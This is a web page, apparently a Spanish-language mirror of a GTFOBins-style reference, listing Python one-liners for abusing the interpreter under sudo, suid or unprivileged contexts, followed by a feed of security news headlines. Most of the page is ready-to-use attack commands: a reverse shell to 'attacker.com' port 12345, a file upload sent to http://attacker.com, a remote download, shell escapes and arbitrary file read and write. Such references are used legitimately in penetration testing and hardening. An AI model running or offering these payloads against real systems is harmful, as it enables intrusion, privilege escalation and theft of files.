Ir al contenido
root@defcon-rd // ./arsenal/gtfobins/python

python

/ binary
python
/ functions
7
/ contexts
4
/ aliases
Nota
The payloads are compatible with both Python version 2 and 3.
./python --examples

Funciones y ejemplos de uso

download

sudo suid unprivileged
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve("http://attacker.com/path/to/input-file", "/path/to/output-file")'

file-read

sudo suid unprivileged
python -c 'print(open("/path/to/input-file").read())'

file-write

sudo suid unprivileged
python -c 'open("/path/to/output-file","w+").write("DATA")'

library-load

capabilities sudo suid unprivileged
python -c 'from ctypes import cdll; cdll.LoadLibrary("/path/to/lib.so")'

reverse-shell

sudo suid unprivileged
python -c 'import sys,socket,os,pty;s=socket.socket()
s.connect(("attacker.com",12345))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")'

shell

capabilities sudo suid unprivileged
python -c 'import os; os.execl("/bin/sh", "sh")'

upload

sudo suid unprivileged
python -c 'import sys
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen("http://attacker.com", open("/path/to/input-file", "rb").read())'
sudo suid unprivileged
python -c 'import sys
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", 12345), s.SimpleHTTPRequestHandler).serve_forever()'
./related --binary=python

Binarios relacionados

Comparten al menos una función con python.

CYBER ALERT
The Hacker News :: RedWing MaaS Packages Android Bank Fraud as a Telegram Rental Service The Hacker News :: Rogue Agent Flaw Could Have Let Attackers Hijack Google Dialogflow CX Chatbots The Hacker News :: DEBULL Tooling Abuses Microsoft Device-Code Flow to Target M365 Accounts The Hacker News :: Public GitHub Issue Could Trick GitHub Agentic Workflows Into Leaking Private Repo Data The Hacker News :: Court Filing Reveals Windows Device ID Helped FBI Trace Alleged Scattered Spider Hacker The Hacker News :: Writer AI Flaw Could Let Agent Previews Leak Session Tokens Across Tenants SANS ISC :: More Odd DNS Records: NIMLOC, (Tue, Jul 7th) The Hacker News :: What Changes When Your Software Supply Chain Includes AI Writing Your Code? InfoSecurity Magazine :: Suspected Chinese Threat Group Targets Universities via Vulnerable Roundcube Servers The Hacker News :: Suspected China-Aligned Hackers Exploit Roundcube Flaws Against Universities InfoSecurity Magazine :: Scattered Spider’s Structure More Like a Cybercrime Collective Than a Unified Gang The Hacker News :: CERT/CC Warns of Hidden Admin Backdoor in Tenda Router Firmware The Hacker News :: BeyondTrust Patches Critical Auth Bypass Flaws in Remote Support and PRA InfoSecurity Magazine :: UK Government Launches Cyber Resilience Pledge, Claiming 60+ Signatories InfoSecurity Magazine :: Hackers Exploit Maximum Severity Adobe ColdFusion Flaw InfoSecurity Magazine :: Phishing Attacks Targeted Facebook Users With Fake Verification Offer SANS ISC :: ISC Stormcast For Tuesday, July 7th, 2026 https://isc.sans.edu/podcastdetail/9996, (Tue, Jul 7th) The Hacker News :: Iran-Linked Hackers Use New Cavern C2 Framework to Target Israeli Organizations The Hacker News :: 16-Year-Old Linux KVM Flaw Lets Guest VMs Escape to Host on Intel and AMD x86 Systems The Hacker News :: Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure